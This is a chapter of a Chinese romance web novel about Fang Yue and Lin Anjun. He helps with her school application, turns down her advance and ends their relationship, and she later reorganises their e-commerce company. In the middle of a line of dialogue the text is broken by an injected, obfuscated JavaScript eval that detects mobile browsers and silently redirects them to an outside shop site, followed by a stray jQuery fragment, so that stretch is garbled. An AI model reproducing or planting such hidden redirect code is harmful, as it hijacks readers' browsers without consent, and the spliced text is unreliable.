方跃面无表情地回了句没档期,把手机往旁边的沙发上一扔,滚了几下掉到地上发出脆响。
不爽和愤怒以后,他产生了些许的怀疑。
蔺安君知道他是僵尸大战植物人吗?
不应该。他确认他从来没有说过任何相关的事情,蔺安君不可能将这两个人联系到一起。
所以蔺安君可真不是东西啊,一边敷衍着网友,一边约他那啥。
……
真不是东西啊。
·
方跃到的时候,蔺安君正盘腿坐在沙发上,用电脑打字,见了他还挺礼貌的,立刻把电脑合上,也没有揶揄他不是说没档期吗?就这么静静地看着他。
气氛再这么进展下去,方跃觉得完全不会是他想要的走向,于是他及时避开眼神的对视,去冰箱拿了瓶……红心苹果汁。
回到客厅,蔺安君已经重新打开了电脑,噼里啪啦地敲着申校用的个人陈述,方跃坐到她旁边看了会儿,提醒她:“重点提一下商法,以及你的职业规划。你妈的公司写上,我们的水晶生意也写上。重点表现你有家族产业以及金融背景,宸悦的联动也要写进去,证明你有人脉资源以及经营能力。实习经历放在CV里就可以,不是已经有推荐信了吗?”
蔺安君停下编辑,问他:“你之前是怎么申的?”
方跃很坦然:“我学校一般般,大概交了一个上去就通过了。当时主要是不想听我爸妈的,他们想让我直接进公司,或在国内读研,总之就是什么都要管,所以我就干脆不在国内待了。”
“那你为什么要休学呢?”
方跃想了想说:“确定自己想做什么很难,确定自己不想做什么很容易。我对挣钱没什么兴趣,学久了感觉很没意思,每天泡pub,聚会,也很空虚。所以干脆就回来了。什么都不做,看自己有没有真正想做的。”
“那现在有了吗?”
方跃没有回答。
“本科学校优势要不要写?”蔺安君没继续追问。
方跃思考片刻:“两句话吧,不需要更多。你之前实习的律所能不能要到申校模板,参考一下。”
蔺安君盯着电脑屏幕滑动鼠标,“已经要了,还没收到。”
“提前批的截止日期应该在11月吧?时间还挺多的。”
“还好。”
然后话题就干在那了。
他们两个在一起的很多时候,并不会一直聊天,各做各的或者只是放空都不会感到尴尬,但此时,方跃头一次觉得不知道该说些什么。
在来之前,他是有些话想说的,但真见了面之后,又不知道该说些什么了。
他将视线放在电脑屏幕。
“做吗?”
是了。
方跃想起来自己要说什么了。
他看着蔺安君平淡无波的眼,一瞬间又回归了沉默。
如果爱催生了欲望,那欲望能不能代表爱的存在?
他从蔺安君的脸上看不到欲望,也看不到爱。
眼眸是黑色,黑色是漩涡。
他能感受到她的不安和焦灼,尽管她依旧有条不紊地做着所有的事,主动而坦然地对他发起邀约,但他却觉得有什么东西在越来越远,即将抵达某种极限。
因为我害怕。
所以,在怕些什么呢?
“要吗?”她又问了一次。
方跃撇开脸,伸手把她的脑袋扳正,“写你的报告去。”
蔺安君倾身靠近,方跃往后撤出更远的距离。
蔺安君静静地看着他,没有说话,过了几秒重新回到电脑面前,指尖流畅地敲打着文字,冷淡地说:“那你走吧。”
方跃听到这句话,几乎说不清心里到底是什么滋味,这段关系已经错乱冗杂到失序,而他理不清到底是哪里出了错,竟然能崩坏成这个样子。
他闭了闭眼睛,胸口很明显地起伏了几下。
良久,才缓缓开口。
“蔺安君。”
“不要这么作践我吧。真的要对我这么坏吗?”
蔺安君没说话,指尖的动作没有停止,像是没有听见一样,继续有条不紊地做着自己的事。莹莹蓝光下,一滴泪水悄无声息的没了出来,安静地滑落又消失。
方跃就这么看着她,直到第二滴泪水再度出现在,他才俯身过去,抱住她的身体。
人,脱离母体,便丧失了蜷缩附着的权利。
于是拥抱变成退而求其次的慰藉。
他将蔺安君的泪水吻掉,接着是脸颊,唇角,渐渐的,他的嘴唇变得濡湿,沾满了咸的味道。
“跟我在一起是很痛苦吗?”他不知道是在问她还是在问自己。
过了很久,他又重新开口:“我也一样。”
跟你在一起,我也会因你的痛苦而感到痛苦。
“虽然你一直都不承认跟我在一起。”
“但在我心里,一直都是在一起的。”
“别哭了。”
“实在讨厌我的话,就分手吧。”
蔺安君睁开了眼睛,睫毛被不断浸出的泪水打成了一缕一缕,是多么脆弱啊,真的要这么残忍吗?
“分手吧。”方跃重复着这句话。
蔺安君的眼泪突然就消失了,只剩洇开的泪痕糊在脸颊。
原来会因我而感到茫然无措吗?但真的不能再这样下去了。
方跃在她的嘴唇最后吻了一下,气流拂着她的脸颊,声音很轻地说了一句话。
蔺安君没有出声,但方跃知道她听清了,她的睫毛轻微颤抖着,试图敛住慌乱的神色。
他将蔺安君被汗沾湿的额发捋了捋,松开这个持续了很久的拥抱,“不写了,等下就去洗漱睡觉,可以吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769391|207542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
蔺安君仰头看着他,非常轻微地点了点头,于是方跃说:“那我先走了。”
那天就这样结束了。
方跃不再主动联系蔺安君,也没再给红心苹果发过消息。
逐月的办公点在十月末正式投入使用,方跃也变得更忙了一些。
不仅他,胡瀚林也每天都会待在那处理一些琐碎的工作问题,闲了就去楼下直播间看工作人员怎么运营的。
蔺安君更甚,先是制定了一套更完善的公司规程,紧接着根据第一个月的业务状态,重新划分了各部门的人员结构以及薪资组成方式,取消弹性打卡,各部门按规定时间上班——这对一个电子商务公司来说是很少见的,依靠互联网吃饭,加班是常态,蔺安君这么做,似乎是想将公司的侧重点放在实体运营上。
此外,她还取消了年终奖激励制度,分配至月度进行发放,基础工资提升30%,部门绩效奖金不以当月产生的效益进行评定,按季度作为一阶段整体结算,二季度按一季度工作结算的档位进行每月发放,工资总额的支出上升了5个点。
胡瀚林一度找到方跃问蔺安君是不是疯了,方跃只是说,与我无关,我只等着最后收钱。这话一出,胡瀚林直接就被气走了。
但事实结果证明,蔺安君是对的。
大刀阔斧规制严格对应的是严谨有效的工作态度,高付出对应了高收入。当月工作产生的效果不一定会在当月呈现,季度结算给大家了一个缓冲的空间,不追求快,而开始追求慢而缓的良性提升,逐月逐渐走向稳定的运转,这是一个好的开始。
又一年年末将至。
雪,来得很早,今年似乎比去年预告的寒冬更冷。
寒假即将开始的前一天,蔺安君和室友道别,可能是阴沉的天气持续太久,江瑜鼻子一酸差点哭了出来,抱着蔺安君瘪着嘴,成了一只嘎嘎嘎的橡皮鸭,“我怎么就这么不想你走呢,虽然我以后也不在江市,但你去的地方也太远了,有人欺负你怎么办啊?”
玖玖一边吃着刚从食堂打包回来的酸辣粉,一边说:“刚刚邹清走的时候怎么不见你嚎?”
江瑜继续嚎:“因为邹清没出国啊!”
玖玖又是猛嗦一口:“蔺安君有她男朋友啊!用得找你操心!”
江瑜嚎得更厉害了:“就是因为有她男朋友啊!”
哦。
在蔺安君和方跃彻底分手之前,方跃请她的室友们吃过一顿饭,这人社交能力很强,与人交往说不上面面俱到,但只要是他想,给人好感是很容易的。
玖玖对他挺满意的,邹清中立,江瑜表示,此人总感觉不像表现出来的这么和善。
蔺安君并没有跟她们及时更新自己的感情状况。
她很忙,太忙了,她甚至不知道一个人可以忙成这样,以至于略过了秋天,直接见到了冬雪。